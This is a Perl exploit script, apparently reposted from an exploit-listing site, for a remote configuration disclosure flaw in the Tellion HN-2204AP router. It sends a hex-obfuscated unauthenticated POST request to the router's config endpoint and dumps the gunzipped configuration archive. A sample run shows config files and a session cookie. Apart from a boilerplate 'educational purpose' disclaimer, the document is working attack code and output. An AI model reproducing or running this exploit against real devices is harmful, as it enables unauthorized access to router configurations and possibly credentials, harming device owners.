Share
## https://sploitus.com/exploit?id=1337DAY-ID-33340
#!/usr/bin/perl -w
#
#  Tellion HN-2204AP Router Remote Configuration Disclosure Exploit
#
#  Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>
#
#
#  Disclaimer:
#  This or previous programs are for Educational purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages 
#  caused by direct or indirect use of the  information or functionality provided by these programs. 
#  The author or any Internet provider  bears NO responsibility for content or misuse of these programs 
#  or any derivatives thereof. By using these programs you accept the fact  that any damage (dataloss, 
#  system crash, system compromise, etc.) caused by the use  of these programs are not Todor Donev's 
#  responsibility.
#   
#  Use them at your own risk!  
#  
#  (Dont do anything without permissions)
#
#  #  [[email protected] ~]$ perl tellion-HN-2204AP.pl http://192.168.1.100:8080/ | head
#  #  [ Tellion HN-2204AP Router Remote Configuration Disclosure Exploit
#  #  [ ================================================================
#  #  [ Exploit Author: Todor Donev 2019 <[email protected]>
#  #  [ Initializing the browser
#  #  [ >>  Referer => http://192.168.1.100:8080
#  #  [ >>  User-Agent => Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.14) Gecko/20080821 Firefox/2.0.0.14
#  #  [ >>  Content-Type => application/x-www-form-urlencoded
#  #  [ <<  Connection => close
#  #  [ <<  Accept-Ranges => bytes
#  #  [ <<  Content-Length => 6796
#  #  [ <<  Content-Type => application/octet-stream
#  #  [ <<  Client-Date => Mon, 07 Oct 2019 10:14:31 GMT
#  #  [ <<  Client-Peer => 192.168.1.100:8080
#  #  [ <<  Client-Response-Num => 1
#  #  [ <<  Content-Disposition => attachment;filename="config.tgz"
#  #  [ <<  Content-Transfer-Encoding => binary
#  #  [ <<  Set-Cookie => QSESSIONID=2659efa77ba6d2fa85e28b1546455939; path=/
#  #  [
#  #  [ >> Configuration dump...
#  #  [
#  #  [ ./config/0000755000000000000000000000000013527155651011311 5ustar  rootwheel./config/sys_clipcomm.conf0000644000000000000000000000002713527155651014660 0ustar  rootwheelCLIPCOMM_ACTIVE=Enable
#  #  [ ./config/sys_alarm.conf0000640000000000000000000000015007033241647014136 0ustar  rootwheelP<SystemCPU OverloadZPSystemMemory Over Usage./config/net_wlan_common.conf0000644000000000000000000000057207033241630015327 0ustar  rootwheelCHANNEL_MODE=Auto
#  #  [ CHANNEL=2
#  #  [ CHANNEL_AUTO_01=On
#  #  [ CHANNEL_AUTO_02=Off
#  #  [ CHANNEL_AUTO_03=Off
#  #  [ CHANNEL_AUTO_04=Off
#  #  [ CHANNEL_AUTO_05=On
#  #  [ CHANNEL_AUTO_06=Off
#  #  [ CHANNEL_AUTO_07=Off
# 
use strict;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;
use Gzip::Faster;
my $host = shift || ''; # Full path url to the store
$host =~ s|/$||;
print  "\033[2J";    #clear the screen
print  "\033[0;0H"; #jump to 0,0
print STDERR "[ Tellion HN-2204AP Router Remote Configuration Disclosure Exploit\n";
print STDERR "[ ================================================================\n";
print STDERR "[ Exploit Author: Todor Donev 2019 <todor.donev\@gmail.com>\n";
print STDERR "[ e.g. perl $0 https://target:port/\n" and exit if ($host !~ m/^http/);
print STDERR "[ Initializing the browser\n";
my $user_agent = rand_ua("browsers");
my $browser  = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 });
   $browser->timeout(30);
   $browser->agent($user_agent);
my $target = $host."\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f\x73\x79\x73\x74\x65\x6d\x5f\x63\x6f\x6e\x66\x69\x67\x5f\x66\x69\x6c\x65";
my $payload = "\x63\x6f\x6e\x66\x69\x67\x5f\x63\x6d\x64\x3d\x25\x43\x30\x25\x46\x41\x25\x43\x30\x25\x45\x35";
my $request = HTTP::Request->new (POST => $target,[Content_Type => "application/x-www-form-urlencoded",Referer => $host], $payload);                      
my $response = $browser->request($request) or die "[ Exploit Failed: $!";
print STDERR "[ >>  $_ => ", $request->header($_), "\n" for  $request->header_field_names;
print STDERR "[ <<  $_ => ", $response->header($_), "\n" for  $response->header_field_names;
my $gzip = $response->content();
print STDERR "[\n[ >> Configuration dump...\n[\n";
print  "[ ", $_, "\n" for split(/\n/,gunzip($gzip));